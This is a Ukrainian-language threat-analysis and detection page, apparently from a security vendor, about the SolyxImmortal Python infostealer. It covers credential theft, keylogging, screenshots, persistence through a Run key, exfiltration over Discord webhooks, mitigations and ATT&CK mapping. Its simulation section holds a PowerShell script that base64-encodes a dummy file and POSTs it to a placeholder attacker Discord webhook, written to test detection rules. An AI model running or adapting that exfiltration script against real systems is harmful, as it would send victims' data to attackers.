SOLYXIMMORTAL: АНАЛІЗ МАЛВЕЙРУ НА PYTHON
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Sol yxImmortal — це оснований на Python засіб для викрадення інформації в Windows, який збирає облікові дані, документи, натискання клавіш і скріншоти, а потім передає дані через вебхуки Discord. Шкідливе ПЗ повністю виконується в просторі користувача, зберігає стійкість, розміщуючи копію в каталозі AppData користувача та встановлюючи значення Run-key у реєстрі, і продовжує працювати без жодного видимого інтерфейсу користувача.
Дослідження
Аналіз показав два вбудовані веб-хуки Discord та використання Windows DPAPI для дешифрування облікових даних браузерів на основі Chromium. Засіб фіксує натискання клавіш через хук клавіатури, відстежує активне вікно для виявлення потенційно конфіденційних заголовків додатків та робить скріншоти за розкладом. Стійкість реалізується шляхом копіювання корисного навантаження до прихованого місця в %AppData% і додавання значення до ключа HKCU Run для запуску при вході користувача.
Пом’якшення
Забезпечте білий список додатків, контролюйте створення та виконання бінарних файлів з шляхів, доступних для запису користувачем, виявляйте зміни в ключах запуску на рівні користувача та отримуйте сповіщення про вихідну HTTPS POST активність на кінцеві точки веб-хука Discord. Посильте контроль над сховищами облікових даних у браузерах і зменште уразливість кінцевих точок, обмежуючи або ретельно керуючи використанням мов сценаріїв, де це можливо.
Відповідь
У разі виявлення ізолюйте вражену кінцеву точку, видаліть зловмисну копію, що знаходиться в AppData, видаліть відповідне значення ключа запуску та заблокуйте визначені URL-адреси вебхуків Discord. Замініть облікові дані для потенційно уражених облікових записів і проведіть збір форензичних даних натискань клавіш, скріншотів та баз даних браузера для підтримки визначення обсягу та аналізу першопричин.
"graph TB %% Визначення класів classDef technique fill:#ffcc99 classDef artifact fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff classDef service fill:#ffdd99 %% Вузли технік tech_python["<b>Техніка</b> – <b>T1059.006</b> Інтерпретатор команд і сценаріїв: Python<br/><b>Опис</b>: Виконує шкідливий код на Python для запуску імплантату та ініціювання функціональності."] class tech_python technique tech_registry["<b>Техніка</b> – <b>T1547.001</b> Автозапуск при завантаженні або вході: Ключі запуску в реєстрі<br/><b>Опис</b>: Копіює шкідливе ПЗ до місця, доступного для запису, і додає ключ запуску для збереження на всіх етапах входу."] class tech_registry technique tech_hidden["<b>Техніка</b> – <b>T1564.005</b> Приховування артефактів: Прихована файлову система<br/><b>Опис</b>: Позначає зловмисну копію прихованими та системними атрибутами, щоб уникнути виявлення."] class tech_hidden technique tech_browser_creds["<b>Техніка</b> – <b>T1555.003</b> Облікові дані з магазинів паролів: Веб-браузери<br/><b>Опис</b>: Витягує та дешифрує збережені облікові дані браузера на основі Chromium за допомогою основного ключа та DPAPI."] class tech_browser_creds technique tech_file_discovery["<b>Техніка</b> – <b>T1083</b> Виявлення файлів та каталогів<br/><b>Опис</b>: Перераховує файлову систему для знаходження цікавих документів."] class tech_file_discovery technique tech_keylogging["<b>Техніка</b> – <b>T1056.001</b> Захоплення введення: Кейлогінг<br/><b>Опис</b>: Записує натискання клавіш за допомогою стійкого перехоплювача клавіатури і зберігає їх у пам’яті."] class tech_keylogging technique tech_screen_capture["<b>Техніка</b> – <b>T1113</b> Захоплення екрану<br/><b>Опис</b>: Регулярно захоплює скріншоти активного вікна на передньому плані та під час чутливої активності."] class tech_screen_capture technique tech_archive["<b>Техніка</b> – <b>T1560.002</b> Архівування зібраних даних: Архів через бібліотеку<br/><b>Опис</b>: Стискає підготовлені дані в ZIP-архів за допомогою бібліотеки для зменшення розміру та маскування вмісту."] class tech_archive technique tech_obfuscate["<b>Техніка</b> – <b>T1027</b> Маскування/Стиснення файлів та інформації<br/><b>Опис</b>: Використовує стиснення для приховування даних перед ексфільтрацією."] class tech_obfuscate technique tech_exfil["<b>Техніка</b> – <b>T1567.004</b> Ексфільтрація через веб-хук<br/><b>Опис</b>: Відправляє зібрані дані на контрольовані зловмисником URL-адреси веб-хуків Discord через HTTPS."] class tech_exfil technique tech_third_party["<b>Техніка</b> – <b>T1102.003</b> Веб-сервіс: Сервіси третіх осіб<br/><b>Опис</b>: Використовує Discord як третій сервіс для комунікацій управління та контролю."] class tech_third_party technique %% Вузли артефактів та процесів artifact_python["<b>Артефакт</b> – Lethalcompany.py виконано на машині жертви"] class artifact_python artifact process_copy["<b>Процес</b> – Копіює шкідливе ПЗ в каталог %AppData%"] class process_copy process artifact_persistence["<b>Артефакт</b> – Створено ключ запуску в реєстрі для скопійованого файлу"] class artifact_persistence artifact artifact_hidden["<b>Артефакт</b> – Атрибути файлу встановлено як приховані та системні"] class artifact_hidden artifact artifact_cred_extraction["<b>Артефакт</b> – Витяг паролів та файлів cookie для Chrome/Edge"] class artifact_cred_extraction artifact artifact_file_search["<b>Артефакт</b> – Рекурсивне перерахування файлів .doc, .pdf, .xls у домашньому каталозі користувача"] class artifact_file_search artifact artifact_keylog["<b>Артефакт</b> – Заливка буфера натискань клавіш, що знаходиться в пам’яті, з певною періодичністю"] class artifact_keylog artifact artifact_screenshot["<b>Артефакт</b> – Скріншоти робляться на основі ключових слів заголовку вікна"] class artifact_screenshot artifact artifact_zip["<b>Артефакт</b> – ZIP-архів створено з підготовленими даними"] class artifact_zip artifact artifact_exfil["<b>Артефакт</b> – HTTPS POST до веб-хука Discord з архівом та скріншотами"] class artifact_exfil artifact service_discord["<b>Сервіс</b> – Веб-хук Discord, що використовується для C2 та ексфільтрації"] class service_discord service %% Зв’язки, що показують потік атаки artifact_python –>|виконує| tech_python tech_python –>|дозволяє| process_copy process_copy –>|розміщує файли у AppData| artifact_persistence artifact_persistence –>|реєструє| tech_registry artifact_persistence –>|позначає як приховані| tech_hidden tech_hidden –>|застосовує до| artifact_hidden tech_browser_creds –>|збирає| artifact_cred_extraction tech_file_discovery –>|збирає| artifact_file_search tech_keylogging –>|захоплює| artifact_keylog tech_screen_capture –>|захоплює| artifact_screenshot tech_archive –>|створює| artifact_zip tech_obfuscate –>|підтримує| tech_archive artifact_zip –>|підготовлено для| tech_exfil tech_exfil –>|використовує| service_discord service_discord –>|отримує дані через| artifact_exfil tech_third_party –>|надає канал для| tech_exfil "
Потік атаки
Виявлення
Можливе використання Discord як каналу C2 (через проксі)
Перегляд
Призначений виконати артефакт для приховування файлів (через командний рядок)
Перегляд
Можливі місця стійкості [ASEPs – Hive NTUSER/Software] (через registry_event)
Перегляд
IOC (HashMd5) для виявлення: SOLYXIMMORTAL : АНАЛІЗ PYTHON MALWARE
Перегляд
IOC (HashSha256) для виявлення: SOLYXIMMORTAL : АНАЛІЗ PYTHON MALWARE
Перегляд
Виявлення витоку SolyxImmortal Malware через вебхуки Discord [Підключення Windows до мережі]
Перегляд
Виконання та стійкість SolyxImmortal Python Malware [Створення процесу Windows]
Перегляд
Виконання симуляції
Передумова: Перевірка телеметрії та базового рівня повинна бути успішною.
-
Сценарій атаки та команди:
Зловмисник вже компрометував хост і зібрав облікові дані, натискання клавіш і скріншоти (T1056.001, T1113). Наступним кроком є ексфільтрація зібраних даних через шкідливий веб-хук Discord. Використовуючи PowerShell (нативний, без зовнішніх бінарних файлів), шкідливе ПЗ формує JSON корисного навантаження, що містить закодовані в base-64 дані файлів, та відправляє його на URL веб-хука. Оскільки правило перевіряє тільки ім’я хоста і метод HTTP, ця активність має створити попередження. -
Сценарій регресійного тестування:
# Імітація ексфільтрації SolyxImmortal через веб-хук Discord param( [рядок]$WebhookUrl = "https://discord.com/api/webhooks/ATTACKER/EXFIL", [рядок]$FilePath = "$env:TEMPsample.txt" ) # 1. Створіть фіктивний файл, що представляє зібрані дані Set-Content -Path $FilePath -Value ("SensitiveData_" + (Get-Date).ToString("s")) # 2. Закодуйте вміст файлу у Base64 (імітація обфускації) $fileBytes = [System.IO.File]::ReadAllBytes($FilePath) $b64Data = [Convert]::ToBase64String($fileBytes) # 3. Створіть JSON-дані, що очікує веб-хук Discord $payload = @{ content = "Ексфільтрований корисний вантаж" embeds = @( @{ title = "StolenFile.txt" description = $b64Data color = 16711680 } ) } | ConvertTo-Json -Depth 5 # 4. Надішліть HTTPS POST запит Invoke-WebRequest -Uri $WebhookUrl -Method POST -Body $payload -ContentType "application/json" -UseBasicParsing Write-Host "Спроба ексфільтрації надіслана." -
Команди очищення:
# Видаліть фіктивний файл і очистіть всі залишкові змінні Remove-Item -Path "$env:TEMPsample.txt" -ErrorAction SilentlyContinue Remove-Variable -Name WebhookUrl, FilePath, fileBytes, b64Data, payload -ErrorAction SilentlyContinue Write-Host "Очищення завершено."